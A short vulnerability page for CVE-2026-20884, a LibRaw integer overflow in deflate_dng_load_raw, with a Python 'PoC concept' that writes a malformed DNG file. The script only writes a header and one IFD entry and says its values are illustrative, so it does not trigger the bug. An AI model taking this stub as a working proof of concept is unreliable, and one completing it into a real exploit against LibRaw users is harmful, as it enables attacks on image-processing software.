CVE-2026-20884 LibRaw整数溢出致堆缓冲区溢出漏洞

# PoC Concept for CVE-2026-20884 # Triggering integer overflow in LibRaw deflate_dng_load_raw import struct def generate_malicious_dng(file_path): # Minimal TIFF/DNG header (Little Endian) header = b'\x49\x49\x2a\x00\x08\x00\x00\x00' # Construct malicious IFD entries to trigger overflow in size calculation # Values are illustrative to represent the concept of overflowing dimensions ifd_entries = b'' # Example: NewSubFileType (Tag 254) ifd_entries += struct.pack('<HHI', 254, 4, 0) # The exploit would specifically target tags used by deflate_dng_load_raw # to allocate buffers, causing (width * height * bpp) to overflow. with open(file_path, 'wb') as f: f.write(header + ifd_entries) print(f"[+] Generated file: {file_path}") if __name__ == "__main__": generate_malicious_dng("cve_2026_20884_poc.dng")